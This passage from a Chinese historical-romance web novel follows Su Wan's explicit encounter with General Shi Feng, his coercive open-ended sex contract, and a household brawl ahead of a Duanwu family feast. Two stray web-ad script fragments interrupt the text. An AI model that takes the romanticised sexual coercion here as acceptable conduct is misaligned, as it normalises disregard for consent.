苏绾惊得一颤,抿了抿嘴唇,“愿赌服输,我也没什么好说的。既然你不肯领情,奴家不再打扰。桥归桥,路归路。从此咱们各走各的道,两不相干。” 她“哼”得一声,下地踩着绣鞋,摇曳往外走。 时枫眉头一蹙,伸出两手抓她的细肩,轻轻一拖,伴随一声尖叫,又将她拉回塌上。 “你干什么?”苏绾惊诧道。 “各走各的道,两不相干?”心里堵着一团火气,不断翻涌上滚,直要将五脏六腑烧成灰烬。 男人忽然大山一样欺身上来,咬牙切齿恨道:“招惹了我,还想一走了之?” “兵部尚书的长子,是个龌龊下流大老粗,你竟敢拿他跟我比?不要命了!” “本将军让你看看,京城的英雄豪杰,到底谁才更中用?只要你有命尝试。” 他的眼眸溢满熊熊烈火,恨不得将苏绾囫囵烧死。苏绾蓦然意识到,自己打开了一个不该被开启的盒子。 也许,她付得起午餐的价格。 她向来知道自己生得美,常常引来旁人艳羡目光。可她视这种天赋为祸端,宁愿选择平凡无奇度过一生。重活一世,她并非手无寸铁的软弱无能之辈,美貌成为她的武器,庇佑她走过艰难险阻。 她要让那些觊觎她的人,通通降服为裙下臣。 苏绾定了定神,“时将军,你若贪婪奴家的身子,大可不必这番折腾,折辱奴家颜面。” 时枫睨着她,“彼此彼此,你不也千方百计算计我?咱们算扯平。” 苏绾低低一笑,“你我之间,剪不断,理还乱,哪里就有扯平一说?将军怕是不知道奴家的厉害,招惹了我,将军恐怕难以退步抽身呢。” 女人像只柔软的狐狸,跪坐在男人身后,“将军口渴否?”等他反应过来,雪白臂膀绕上脖颈,柔软小舌探入耳际,深入浅出,令时枫寒毛乍立。 男人回手将女人拉入怀里,贴上她的檀口。唇齿相碰,时枫方醒悟那句话的涵义,心里骤然充满感激,期待雨露滋润他一片焦土。 苏绾的野心不止于此,玉舌一路下滑,直指男人喉结。时枫浑身一颤,仿佛雷霆灌顶,全身肌肉紧绷,显现优美线条。 前世温如初看中她的灵动小舌技能,起了歪心思,将她送进教坊司,请管教嬷嬷调教,学习俘获男人心的床笫技巧,专攻男人软肋。 “将军喜欢这样吗?”甜美音喉回荡,似一缕幽魂,钻入他五脏六腑,与他紧紧融为一体。 男人再也无法忍耐,囫囵撕烂衣裙阻碍,直直穿心而过。 “啊……”她蓦然感到疼痛,陌生又熟悉。两滴泪夺眶而出,不知出于懊悔,还是一种释怀。 “嗯?” 男人前行的脚步遭遇莫名阻力,仿佛上阵勇士遇到伏兵偷袭。然箭在弦上,不得不发。仗打到这一步,绝无鸣金收兵可能。 海浪翻涌,滂渤怫郁,一波未平,一波又起。男人手臂一挥,炕桌酒壶酒盏滚落,发出乒乒乓乓碎裂声。 “你真他妈的是个妖精。” 像是一段梦幻的长笛,宛转悠扬,时而高亢,明朗如晨曦第一缕阳光;时而低沉,柔美如夜晚清冷皎月。 “求将军轻一点。”哀怨的眼眸,淌出一滴软泪。 每一次推进,都是感官绝佳体验,穷途末路之际,呜呜咽咽的哭啼,也成为美妙乐章。 在山和海的无数次磋磨中,男人尽情释放自己。汹涌潮水散尽,他感到前所未有的疲倦,身体仿佛被掏空。 时枫啐了一口,“真他娘的痛快。” 他并不急着更衣,而是单膝搭坐在塌边,换了一盏杯,继续啜饮那壶没喝完的糯米酒。 午后清风拂面,吹不尽心头疑云重重。 去而复返,只因迷惑于苏绾的“嫁衣”一说,欲跟她当面问清楚,不曾想却撞见她疯痴模样。 自将她抱在怀里那刻起,所有怒火烟消云散,嫁衣不嫁衣,已不重要,唯剩怜悯与愧疚。 她所谓的“不情之请”,对他来说,亦非绝不可为。兄弟情谊再深,也不得凌驾于违逆女子意愿之上。 他足足想了一个时辰,前因后果,清晰明了。他已下定决心,以他伟岸之躯,庇佑她前行。 哪知他不过逗弄她几下,竟被疯婆娘怼得怒火攻心,做出过激龌龊之举。 他以为,苏绾这般投怀送抱,总不至于完全没有经验。单那合欢散一物,就非平常闺阁女子所熟识。 可她竟是干干净净,清白之身。 倒显得他仗势欺人,侮辱良家妇女。 这一仗,看似他大获全胜,实则反被对方拿捏把柄,落得进退两难的境地。 但他输得心甘情愿。 苏绾缓缓坐起身,手指粗略拢束散发,露出光滑如玉螓首。腕间一点朱砂痣消失无踪,唯剩一段洁白无瑕玉臂。她扯过泥金褙子,披盖身体,遮掩春光澹宕。 “如今奴家有资格上牌桌了吧。” 时枫没有回答,他穿上石青色丝袍,往腰间系蹀躞带。后背衣襟有些褶皱,苏绾跪在身后帮他整理。她动作麻利,似小夫妻般淡然默契,令时枫颇感新奇。廿二年独鹤松影薄,身边未曾有半个女伴,还被邵云礼嘲笑有“断袖之癖”。 他知道,天下没有免费的午餐。 诚然如此。 时枫侧目而视,冷冷说道:“过去种种,皆已偿清,你情我愿,咱们谁也不欠谁。” “今后的事,按生意论,一笔一笔交易,无论巨细,白纸黑字立下字据。我帮你办一件,你偿我一夜卿。” “以后只要你欠我的人情,无论你身处何地,正做何事,也无论你想不想,愿不愿意,我想睡你的时候,你都必须履行义务。” “合约期限,未定。” 时枫转过身,居高临下睇着苏绾,负手而立。日光泼洒他半边坚毅面容,半明半暗,深沉莫测。 “不行,我不答应。”苏绾站起身,抬腿作势要走。 “那谁帮你取出体内的七根针呢?谁又能为你作证,逮捕苏夫人呢?” 男人饧着眼,轻飘飘道:“你没有退路。” “你……无赖。”苏绾怛然失色,眼前这个人,跟前世一身正气不近女色的绥靖王,还有半点关系? 时枫勾了勾唇,“你才知道,我可是坊间有名的‘冷面阎罗’。跟我打交道,能有几分胜算,你该有自知之明。” 道高一尺,魔高一丈。 她之初衷,欲以清白之身,换取他协助退婚。虽未敢奢望一睡抵万金,但婚期只剩四月,左不过三五次,最多七八次,也有个定数。 可对方竟然驳回她的条件,改写为“随叫随到,期限未定”,明摆着要将她吃干抹净,无限制拘禁奴役她。 是的,她没有退路。 走一步算一步,谁先认输还不一定呢。 苏绾低下头,沉寂半日,细声道:“你能下手轻一些吗?” 见她终于肯松口,答应“丧权辱国”之不平等条约。时枫的脸色没有任何变化,依旧冷冰冰模样。心里却好似召开水路道场大会,叮叮当当,锣鼓齐鸣。 苏绾让他尝到甜头,他食髓知味,便不想撒手。手段是卑劣些,但他又不是卫道士,谁让她先来招惹他?要他屈身做一颗棋子,任由人摆布,痴人说梦。 “很好。”时枫扯下腰间松花汗巾,碾着苏绾咬出血的唇瓣,“你乖一点,我自会帮你解决问题。既找上我的门,绝无教你一无所获,另寻出路的道理。” 苏绾木讷地任由他磋磨,心中一夕千念。伴君如伴虎,倘若有朝一日被兽反噬,她也怨不得别人。 她默默穿上绮云裙,前襟已被扯烂,散开在胸前,好似此刻破锣心情。 “收拾一下,乱得不像话。”男人冷冷发号施令,语气不容分说,俨然将军做派。 这里这么乱,还不都是你弄得! 苏绾怨恨地瞪他一眼,起身整理满屋狼藉,故意摔摔打打,弄出嘈杂的声响,发泄心中怨愤。嘴里 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不停碎碎念,这人真是属狗的,胡乱咬人不说,所到之处,堪比飓风过境。 时枫长出一口气,自初见苏绾算起,足足郁卒憋闷俩月,如今总算守得云开见月明。 “春月坊段公子,天桥算命书生。”男人单膝支立,搭在塌床边,饧眼佻望苏绾忙碌,“你算计来算计去,有否算准这结果?” 苏绾俯身拾起东倒西歪的酒盏,懊恼道:“我不过是只小狐狸,哪里斗得过你这只千年黑熊精。” “知道就好。”男人嘴角一斜。 无所谓,先用一纸契约牵绊她,剩下的日子,慢慢追查她的那些秘密,也还来得及。 时枫忽然感到肚饿,折腾整日,粒米未进。他大步走出房间,两手撑住廊间栏杆,吼道:“晴雷。” 晴雷伫立八仙桌一角,剪着两条手臂,睇着木凳上气鼓鼓的姑娘。 “口渴吗?我叫壶茶给你。” “不渴。”无霜没好气似地答道。 “肚子饿不饿?他家的牛舌饼很好吃。” “不吃。”无霜言简意赅。 晴雷犯了难,他领命“安排照顾”她,可他站在这里一个多时辰,对于他的示好,对方丝毫不领情。 他并不觉得厌烦,反而很享受当下。那股淡淡栀子花香,迷了他的眼,冲散他全身倦意。 “至少告诉我,你的名字。” 无霜瞥了他一眼,少年负手而立,眉眼弯弯,正对着她笑意盈盈。她无端心跳停了一拍,胸中一口气没上来,差点呛到自己,咳嗽声不断。 晴雷眼疾手快,不知从哪里端出杯茶,倏地递到无霜面前。 “不烫,亦不苦。” 动作干脆利落,毫不拖泥带水,惊得无霜瞪圆眼睛,这就是兵家侍卫的本事吗? 她愣了半日,也未搭理晴雷,倒让少年心思乱转,以为她还在生气,遂将时枫腹诽一通。 “晴雷,狗东西,还不快上来。” 时枫喊过两遍,才见晴雷慢腾腾趸上楼梯,拜道:“爷有何吩咐?” 时枫嗔道:“你跑哪儿去了?叫一桌饭菜,伴香粽,再来壶烧酒。糯米酒太淡,我不爱喝。” 晴雷揶揄道:“爷不爱喝,还叫两壶。” 时枫一脚踢过去,“混账东西,叫那婢女上来。” 无霜缘阶而上,一路低着头,不敢抬眼睇时枫,匆匆欲进房,却被时枫叫住。 将军负手而立,瞥了一眼房内坐着的世家小姐,沉声道:“你家小姐可曾有过病史?发作起来不认人,两耳失聪,双目不明,神志也不清醒。” 无霜一脸震惊,摇头如拨浪鼓,“将军此话怎讲?我家小姐向来温婉娴静,外人面前一贯低调,哪里会有发疯模样?别是将军威压欺人,小姐身子骨荏弱,吃不消罢。” 小姑娘语气有些不敬,时枫也未在意,摆摆手让无霜走了。心里思绪繁乱,疯症癔症病根一事,蹊跷难解,还需多加观察。 无霜见苏绾安好,心里石头落地,她上前拉着苏绾的手,悄悄问道:“小姐可曾受委屈?” 苏绾苦涩地一笑,岂止受委屈,今日一役,她赔进去全部尊严和自己。 无霜方才注意到,苏绾的衣裙破烂不堪,脏污一块块,瞥了一眼时枫,没好气地问道:“怎么下手这样重?不把人当人看啊。” 苏绾收紧泥金褙子,尽力遮挡胸前破烂,她哪里还算个人,她是猎物、食物、标价的底物。 酒菜摆满一桌子,都是些时令小菜,还有糯米红枣粽子,以及一壶二锅头。 时枫问道:“你们不吃吗?” 晴雷右手扶雁翎刀,左手剪在后背,昂首挺胸道:“属下不饿。”两位姑娘不上桌,他做侍卫的,也不好大剌剌入席。 “没问你。”时枫怒道。 苏绾坐在木塌另一边,距离时枫较远。她完全没有胃口。她被人吃干抹净,哪里还能吃得下饭?猛兽嘴下猎物,没有吃食的权利,只有被吃的宿命。 时枫风卷残云般大快朵颐,他在兵营养成速食习惯,动作有条不紊,不失斯文。 酒足饭饱,时枫环顾四周,拾起那条松花汗巾,上面沾染点点血痕。他也不嫌弃,抓着汗巾擦拭嘴角,戏谑道:“我在苏府埋了眼线,你的一举一动,都在我的两眼注视下。收起你那些无谓的小心思小伎俩,有事交给我来处理。” 男人故意冷冷道:“一码归一码,超出约定范围,你自行抽丁拔楔,本将军无暇理你。” 这个家伙属猴子的,一点亏都不肯吃。苏绾咬着嘴唇,“人贵有自知之明,我不会死皮赖脸纠缠你。” 时枫冷笑一声,“那是最好。” 用毕午膳,时枫回府处理事情,打发晴雷给苏绾叫辆马车送回家不提。 福建都指挥使沈恪,受命进京觐见圣上,车队已临京郊,傍晚即可进城。沈老将军与时枫父亲乃故交,进京第一站下榻时将军府,行程早已安排好。 时枫在醉仙楼耽搁大半日,芙蓉帐暖度春宵,差点延误正事。不禁低头慨叹,妖精果然还是妖精,自古英雄难过美人关,他算是尝到厉害了。 假若真如她所说,一切筹谋策划,只为解除婚约,为何不亲自去同温如初商榷,偏要拉他做中间人,是否多此一举? 时枫沉思片刻,手指敲了敲车橼。 晴雷骑着马背,与马车并行。马蹄刮剌剌响,脑子里浮现出栀子花姑娘的笑脸,懊悔自己还未问到她的名字。 蓦然听见敲击声,晴雷收住思绪,俯下身子问道:“爷有何事?” 车内传来深沉声音:“打探一下苏绾的底细,顺便查查温如初近几年的行动轨迹。” 晴雷回道:“遵命。” 车内人掸了掸石青袍子浮尘,鼻尖耸了耸,抬起袖口嗅了嗅,一股子淡淡的鱼腥味直冲鼻翼,男人不禁蹙了蹙眉。 这也难怪,他抱着苏绾卧倒一个多时辰,体服相触,身上早就沾染她的味道。 只是,为何是股鱼腥味? 26. 门神 苏绾回到紫竹苑,换下破烂衣裙,沐浴更衣。才刚坐下来休憩,芸娘摇曳而至。 “你去哪里疯玩,怎不叫上我?害我一个人,端阳佳节空寂寥。” 芸娘一屁股陷进铺软垫的圆凳,拣木盒盛放的香囊凑近鼻子嗅嗅,娥眉轻轻一蹙。 苏绾栽歪躺在厚实软褥,声音有气无力,“温侍郎约我吃酒,这会子才刚回来。你没让老爷带你去江畔观赛龙舟?” 大概嫌城里的香囊气味不够浓郁新鲜,芸娘将香囊丢回盒内,翻着白眼,“老爷一早被叫回上院过节去了,我哪敢再问人家。” 芸娘气恼十分,早在半月前,她已派人预定江畔阁楼绝佳位置,食香粽,熏艾草,观看赛龙舟。 苏君识答应地好好的,端午陪伴她度过,为此她还将宝哥儿专门送到乳娘处喂养—— 自从上次闹腾过后,乳娘再不敢胡来,唯唯诺诺,安分守己,生怕一不小心丢了差事。而宝哥儿经过训练,已渐渐熟悉并接纳乳娘,可以自由吮乳。 芸娘本就性格直爽之人,别人不招惹她,她也不会作威作福。敌人既已式微,她便放心把宝哥儿交出去。 初五清晨,芸娘一早起床,叫婢女悬艾蒿于门户,以禳毒气。她亲自下厨,用箬叶包四十糯米红枣香粽,屉笼蒸熟。还预备佩兰煎水沐浴,要同老爷“鸳鸯戏水”。 待一切就绪,芸娘袅袅婷婷趟过长廊,招呼苏君识起床更衣——昨晚“伺候”老爷勤劳些,这会子日照房门帐未开,苏君识依旧呼呼大睡。 恰时门外传来一阵吵闹声。 “夫人有话,要请老爷回府。耽搁府里正事,叫你们这院里所有人,吃不了兜着走!” 说话之人正是看门刘嬷嬷,掐着水桶腰,吊着斜飞眉,颐指气使。她用词刁钻,张口闭口“回府”,好像紫竹苑不归属苏家一般。 扫院的婢女被训斥地一愣一愣,“老爷尚未起身,嬷嬷请稍候片刻。” 刘嬷嬷却是不肯,她拿了鸡毛当令箭,非要给人下马威不可。 “你算哪棵葱,也配跟我发号施令?叫管事的人出来。” 声音响亮,震落一山竹叶。 芸娘隔着老远闻听此话,气不打一处来,“哪里飞来只老母鸡,叽叽喳喳抱窝,吵死人了。快点轰出去。” 婢女得令,手中扫帚一横,横扫千堆雪,将刘嬷嬷挡在门外。 刘嬷嬷待在苏家二十载,从烧火丫头,一路扫过院,倒过马桶,洗过衣服,磨过豆腐。好不容易爬到油水颇丰的看门闲职,岂能被小小婢女看扁? “没教养的东西,谁给你的胆子,敢跟老身叫板?” 刘嬷嬷一边指桑骂槐,一边伸出双手,死死攥紧扫帚把柄。先来一出“金刚怒目”,震慑对方心魄。再来一招“龇牙咧嘴”,空口作势咬人。 婢女果然吓了一跳,她才进府两月不到,还是新手,哪里见过这阵势,慌忙向后夺扫帚。一拉一扯两个来回,竟被人连拉带扯拽出门去,空中徒留一声惊呼:“啊——” 刘嬷嬷趁虚而入,滋溜钻进门里。难为她四十余岁,身手矫健如山猫。 “啧,小崽子不知天高地厚,叫你尝尝我的厉害。” 刘嬷嬷迤迤然抖抖缎面褂子,绣鞋踩着满地竹叶,摇曳向芸娘走来,笑着摇手招呼:“二奶奶端午安康。” 仇人相见,分外眼红。 芸娘咬了咬后槽牙,“老爷没空,你改天再来罢。” “哟,瞅瞅二奶奶说的什么痴话,老爷有空没空,由你一个外室说了算?你有那胆子假传圣旨,也不怕大祸临头。别搞得最后卖到窑子里,哭天抢地抹眼泪儿。我倒是愿意搬条板凳,坐下来瞧热闹。” 没想到刘嬷嬷转换战术,既不冷嘲热讽,也未假充好人,改作直楞楞威胁。 占卜一案,刘嬷嬷因诱敌兜圈有功,一跃而上,成为苏夫人门下第一号狗腿,说话也带着王者霸道气势。 她扬着眉毛,满脸老褶子放光,“要论起辈分来,你还算不得二奶奶,顶多不过老三。你晓得吗?在你之前,还有一位姨娘呐。” 刘嬷嬷双手比划,翘指称赞:“那位姨娘哦,啧啧,模样比你俊俏,身段比你柔软,嗓子比你婉转,琴棋书画,样样皆通。老爷喜欢得不得了,藏在行院整整八年,银子花费无数。” 突然话锋一转,刘嬷嬷厉色道:“谁知姨娘嫁进门,吃里扒外,搭钱勾引旧日恩客。一朝被人发现,夫人捆了她手脚,罚她浸猪笼。” “你们乡下,有不少人被浸猪笼吧?啧啧,浑身上下戳一百个血窟窿,血水汩汩冒,染红半条江。水里的鱼虾螃蟹,成群结队顺着血腥味就来了,扑棱扑棱地咬肉吃,没一会就给啃光,剩一副骷髅骨架。” 她讲得绘声绘色,亲眼目睹一般,让人不寒而栗,顿时让芸娘后背起了一层白毛汗。 她虽然隐约知晓一点关于苏绾娘的消息,但也净是粗枝末叶。如今从刘嬷嬷嘴里说出来,没想到竟是这般惊心动魄。 “你跟我说这些劳什子干嘛?跟我有何关系?”平白无故跟她掰扯深宅大院秘辛,摆的是何居心。 刘嬷嬷狡黠地眨眼,“这里面关系大着呢。二奶奶也别不信,这人吧,无论多清高孤傲,总归有落人把柄的一日。俗话说:别看眼下蹦的欢,小心将来拉清单。” “你什么意思?”芸娘听她语气不善,心里琢磨对策。 刘嬷嬷笑道:“二奶奶是聪明人,晓得这里面的利害关系。莫要学姨娘那样,不识抬举,落得沦为鱼饵的下场。” 恰时一阵黄雀风过,吹迷刘嬷嬷的眼,满脸褶皱霎时翻倍,好似萎蔫的菊花,又干又皱。 可恶。 倘若换做旁人——足不出户的小家碧玉,早被她这套“喂鱼”说辞,吓破胆子,不敢质疑驳斥,乖乖任由摆布。 但芸娘是生长在田间的野花,生命力顽强,傲雪凌霜,绝不会被城里的婆子吓倒——乡下的农妇发起疯来,比这可恐怖的多,一把砍刀剁碎全家男人。 须给她点教训尝尝,叫她不敢暗地使坏。 “我臊你娘的八辈祖宗……” 芸娘是个心直口快的人,敌人对她恶言相向,威胁要拿她把柄,送她喂鱼,她保准叉着腰,将对方八辈祖宗翻遍,挨个提点。 可她突然换了脾气,骂人话只开了头,便戛然而止——老爷尚在房里歇息,哪个缺心眼子瞎吵嚷? 眼见嘴上功夫不成,芸娘犹豫片刻,起手一拉裙角,露出光洁的小腿,踩着鸳鸯绣鞋,一脚跨过齐腰高的围栏,探入百花丛不见。 蔷薇荆棘刮喇裙裾,阻挡前行步伐,芸娘咬紧嘴唇,用力一扯,硬生生扯掉半条百褶裙裾。 她将破烂衣裙豪横一甩,昂头继续砥砺前行,好似一条青绿色的游鱼,穿梭徜徉花海。 “你、你想干啥?”刘嬷嬷看得惊奇,不晓得姨娘又发哪门子疯。但她知道绝没好事,身子不由自主向后靠了靠。 芸娘加快步伐冲刺,三步并作两步,踏着青石板助力,一个猛子扎到刘嬷嬷跟前。 趁着嬷嬷慌神之际,单手攥拳用力击打嬷嬷胃部。仅仅那么一夯,登时捶得嬷嬷一句话说不出来,佝偻身子,摇摇欲坠。 “你个老逼登,也配跟我大呼小叫。不过一条癞皮老狗,竟敢骑我头上拉屎。看我打得你满地找牙。” 芸娘伸展有些麻木的手,一张一合活动筋骨,全程动作潇洒利落,犹如江湖侠客,武林高手。 若论功夫,她一个乡野妇人,断然一窍不通。可她从小在田间摸爬滚打,跟小牛顶犄角,与牧童摔把式,她可是一等一的厉害。她晓得如何运用寸劲,一拳打得对方满地打滚喊娘。 经验告诉她,集中火力专打上腹,除非对方肌肉坚硬暴起,否则普通人根本扛不住,并且不会留下任何痕迹。 芸娘恨道:“这一杵子,是为报复你乱嚼舌根,无事生非,通风报信之仇。尤其前几日,害我被关进小黑屋,叫天不应,叫地不灵,忍饥受冻足足捱了两日。” “打从我进门那日,你就没给我好脸子看,处处刁难我,欺负我乡下来的没势力。” “拿姨娘吓唬我?老娘放话在这里,借你一百个胆子,你敢使一点坏,剁成肉酱喂狗吃。” “不过是苏家豢养的一条癞皮狗,狗仗人势,骑到我头上来,瞎了你的狗眼。” “今日这份冤屈,你大可随便说去,不是长了一张爱告状的嘴巴?我倒要看看,有谁会相信你。” 刘嬷嬷跪倒在地,一手支撑身体,一手捂住腹部,脸色苍白,豆大汗珠滚落。 她四十岁正当壮年,身板硬朗无大病,顶多肠胃 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不太好。想是上了年纪,吃不消油腻。 这一击不偏不倚,正打在她的胃部,直打得她满眼开金花,一个劲吐苦水。汗液滴进眼睑,辣的她睁不开眼,拼命用袖口剐蹭。 心中悔恨不已,怎就沦落到这一落魄局面。扪心自问,她并不嫌恶芸娘,相反,还有些寄人篱下的同命相怜之情。 若说深仇大恨,她跟芸娘八竿子打不着:一个府中生活多年的老奴婢,一个乡下才嫁进门的新姨娘。论身份地位,谁也不比谁高贵到哪里去。 她是憎恨芸娘的反叛不屈,不肯向高门大户低头。都是困囿于泥巴坑里的泥鳅鱼,凭什么芸娘拽得二五八万一样! 心下一横,刘嬷嬷跪地强撑住身子,翻身盘腿坐在地面,咳嗽两下,“咳咳,人老就是不中用。给猫爪子挠一下,嗓子眼儿刺挠半天。” 她捶弄胸口,“时代变了,人心不古,哪像十年前那般老实厚道?人说什么,就是什么,一点不带还嘴的。” “对付这种尖牙利齿的小畜生,就得有耐心才行。反正我老不死,有的是时间和精力。” 老眼皮一翻,阴笑道:“你猜,姨娘她到底有没有偷人?” “你、你是说……” 刘嬷嬷话里话外,有两层意思:其一,苏绾娘当年惨遭沉塘,是被人陷害的!其二,刘嬷嬷一干人等,同样不会放过她。 这些人像黄鼠狼一样,隐藏在暗处,等待可乘之机,诬陷她清白,叫她陷入沉沦地狱。 芸娘咬了咬嘴唇,敌人在暗她在明,再好的人,也防不住阴沟里躲着的癞皮狗咬。 刘嬷嬷挺着惨白老脸,身子向前探了探,咧嘴一笑,“如今老爷,还有空没?” 日上三竿,光影稀薄,菖蒲花发五云高。淡淡的艾蒿香气氛氲,缭绕刘嬷嬷皱皱巴巴老脸,枯木逢春犹不死。 那老树发花的得意,闪了芸娘的眼。她低低垂下头,看脚面游弋的两只鸳鸯,中间始终隔着不可逾越的鸿沟。而敌人的大棒,不知何时就要打到头上来。 独行的野牛,挡不住群狼暗袭。她需要一位帮手,联合对抗大棒夯击。 正犹豫之际,忽然身后传来一声:“何事惊扰?” 众人皆大吃一惊,转身望去,原来是苏君识。穿着芸娘新做的衣褂,不远不近立在长廊,想是被二人争执吵醒,又或者下人报信。 “老爷。”芸娘连忙捉裙,踩着嫩草,兜了一圈向长廊奔去。 那边刘嬷嬷也利索爬起身,隔空抢着喊话道:“老爷,舅爷家八百里加急,递来鸡毛信!” “什么?” 苏君识一听,立马提着长褂,一路疾走过长廊,绕到刘嬷嬷跟前,“何时来的信?怎不早来通报?” 刘嬷嬷弯腰拜道:“辰时三刻才到,夫人急急派老奴来西院通报,这不门口耽搁一阵子。”说着,拿眼皮瞟了一眼芸娘。 芸娘正立在灌木丛中,急道:“老爷,听妾解释……” 苏君识却是根本不理睬她,只一面往门外走,一面头也不回说道:“我去去就回,午膳不必等我。” “哎?那赛龙舟……” 话音未落,苏君识已不见踪影,刘嬷嬷趁机也跑了。真难为她,挨了芸娘一杵子,依旧健步如飞。 只剩芸娘独处百花丛中,好似一杆孤零零的鸢尾花。 微光旖旎,转朱阁,低绮户,映照有恨无人省。 芸娘将木盒一推,恨道:“这下子好了,计划全部泡汤。这个端午节,过得真窝囊。” 苏绾感到有些纳罕,殷舅舅这时候来信,恐怕并非佳节问候那么简单,一定有变故发生。 她安慰道:“往日端阳热闹,持续三日才消。今天去不成,明天再去罢,叫人延长订位即可。” 芸娘不解气,又将香囊拾起来,攥在手里,“我不是气这个,凑热闹的事,错过就错过。我是恨那老不死,竟敢明摆着威胁我,还要抓我把柄。这口恶气憋在心里,不吐不痛快。” 她抬头望向苏绾,咬牙切齿道:“你可得帮我,咱俩拧成一股绳。不为我出气,也要为你娘报仇!他们陷害坑杀你娘,绝不能放过他们!” 苏绾睇着窗外一角悬挂的纸葫芦,随风轻轻摆动,大的小的缠绵一团,怎么都无法分开。 说的对,弑母之恨,血债血偿。 27. 家宴 古院静谧,红日西斜,余晖洒满天地。树影斑驳,花香袭人,百鸟眷恋归巢。亭台楼阁,错落有致,晚春暮色酽酽。灯火初上,烛光摇曳,缭绕温馨气息。 这一派和谐太平盛世,不过是掩盖大家贵族千疮百孔的假象。如同一块打满补丁的遮羞布,从拙劣针脚缝隙中,依稀可见人性充满罪恶的丑陋与贪婪。 苏绾怀里抱着宝哥儿,细柳垂绦,摇曳走在青石板铺就的路面,一路心事重重。 后面跟着无霜,手里提一篮水晶豆沙粽,小巧玲珑,白日里她趁苏绾不在,自己包的。 再其后是芸娘,带着丫鬟,另外一个是乳娘。三人大包小包,装载的尽是些瓜果搞点,葫芦艾蒿一类礼品。 夕食将近,东院来人通告,叫紫竹苑所有人即刻归府,参加苏府端阳家宴。 虽说苏家有举办家宴的传统,然则今年与往年不同,芸娘新娶入门,东西分院而住。诸如端阳此等节日,主旨在街市热闹,本不必大张旗鼓召人回去。 别又是一场“鸿门宴”。 宝哥儿一岁多,正是牙牙学语时,小小身子蜷缩苏绾怀里,糯糯唤道:“阿佳(姐)~” “怎么了?宝贝。”苏绾没听清楚。 她摊开怀抱来看,奶娃娃睁着黑豆似的眼睛,冲她咯咯笑,两只小胖手搂住她脖颈,红扑扑小脸蛋向她脸颊磨蹭。 “阿佳(姐)~” 听得苏绾心里一抽,瞬间融化成一滩春水。这是宝哥儿第一次喊她,心中那份欣喜不亚于初为人母。 她从宝哥儿身上,看到自己当年的影子。而芸娘,就是她娘亲的化身。一对苦命人儿,伶仃洋里过伶仃,怎经受得住苏家暴风骤雨般摧残? 上一世,她从未有机会遇见芸娘和宝哥儿,也不知他们最后出路如何,但总归落在苏夫人手里,不会有好下场。 这一世,既然上天安排这段姐弟缘降临,她就要扛起做姐姐的重担,用她的臂膀,庇佑她们母子俩砥砺前行。 苏绾摸摸宝哥儿后脑,蹭蹭光滑的额头,“宝贝乖乖~阿姐最疼你。” 芸娘上前,“累了吧,还是我来抱,他重的很。”说完伸出两手,要去抱宝哥儿。 苏绾还未动弹,宝哥儿倏然缩紧身体,摇晃小脑袋,嘴里呶呶:“阿佳~” 芸娘纤眉一扬,“臭小子不听话,阿娘打屁屁。” 宝哥儿遗传芸娘的倔强性格,任凭芸娘怎么要他都不肯,趴伏苏绾肩头,啃湿她的肩膀。 “算了,我抱着挺好。” 按道理,苏绾被某人欺凌霸占,梅开二度,身子骨虚弱无力。但不知何故,她感觉不到一点乏累,也不想松开怀抱。 那团白白暖暖的肉包子,仿佛生在她身上,与她合为一体,叫她怎么舍得放手。 芸娘叹气道:“你就宠他吧,回头他粘上你,离不了身,看你咋办。” 苏绾亲亲宝哥儿小脸蛋,笑道:“离不了身,我就抱走,走到天涯海角,我自己养他。” 芸娘两手一摊,眉眼弯弯,“抱走抱走,你做一品诰命夫人,宝哥儿也能沾光。” 突然眼眸一低,又黯然道:“总好过跟着我这没用的娘,屈生这狼巢虎穴,手无缚鸡之力,白白葬送性命。” 刘嬷嬷的话语萦绕于耳际,唬破芸娘的胆子,让她有些患得患失。 苏绾知晓她的顾虑,安慰道:“你莫心急,说好了你帮我想赚钱的法子,我帮你对付苏家。我说话算数,断没有叫你单打独斗的道理。” 她一手抱着宝哥儿,另一只手拉着芸娘,向前快走两步,低声道:“咱们第一个麻烦就是刘嬷嬷,想要除掉她并非难事。我心里已有筹划,保准让她吃不了兜着走。” 芸娘一听,两眼放光,“真的吗?”转眼又虑道:“可她背后有女大虫撑腰,咱们能怎么办?” “只怕到时候,没人帮得了她。” 夕阳散尽最后一缕余晖,映照苏绾冷漠的眼眸,暖光生寒意。 芸娘不禁打了个寒战,眼前女子孱弱之身,却散发出冷戾刚毅的光芒,令她感到陌生,她似乎从来不曾真正了解过苏绾。 金乌西沉,银钩东升。 苏绾一行人到达正厅时,人头攒动,热闹非凡。婢女来来回回上菜,桌案摆满美酒佳肴。 江浙一带端阳有吃“五黄”的习俗。江南传统中的五黄是指黄鳝、黄鱼、黄瓜、咸蛋黄和雄黄酒。 苏夫人自小长在江南水乡,后来即便嫁入京城,也保留家乡习俗。每逢端午这样的节日,苏家会早早收到远在浙江寄过来的果品,提前准备“五黄”。 苏绾来到厅前,放下宝哥儿,自己先去后厅拜见父母,任宝哥儿晃动颤颤的小胖腿,忙着去抓香果盘里的枇杷。 旁边一个婆子见状,趁人不注意,竟伸出老手,“啪”得一下,打在宝哥儿的小胖手。手里的枇杷应声落地,骨碌碌滚回盘中。 那一下想必打狠了些,疼得宝哥儿龇牙咧嘴。又不会说,只能流着眼泪叫娘。 正值无霜领着乳娘他们去后厨卸载礼品,苏绾又不在身边,偌大厅堂,竟无一人上前喝止婆子。 芸娘急了,猛地推搡婆子,直把她推倒在地,“入你娘的老鳖孙,敢打我儿子。” 一推一倒,现场立刻聚集一群人。 婆子坐地干嚎,“冤杀老奴。小少爷自个儿摔手砸盆子,老奴不敢撒谎。” 芸娘气不过,揪起婆子的衣领,嗔目道:“睁眼说瞎话。你当没人看见么?敢不敢跟我去老爷面前对峙?” 那婆子当然不肯依,但也决然不松口,“二奶奶冤枉老奴,老奴死不瞑目。” 她说得信誓旦旦,旁边人连声附和,又没有人站出来作证,倒显得芸娘无理取闹。 人群开始窃窃私语。 “不愧乡下来的,嘴巴厉害着呢,手脚又有力气,整个一野蛮人。” “头阵子不是把乳娘打了?虽说情有可原,但有话好好说嘛,君子动口不动手。” “我听说,晌午刘嬷嬷也吃她一计闷拳,好悬没把苦胆打出来。没理由,纯粹看人不顺眼。” “啧啧,家里养着这么一尊女霸王,指不定哪天得罪她,你我小命难保。” 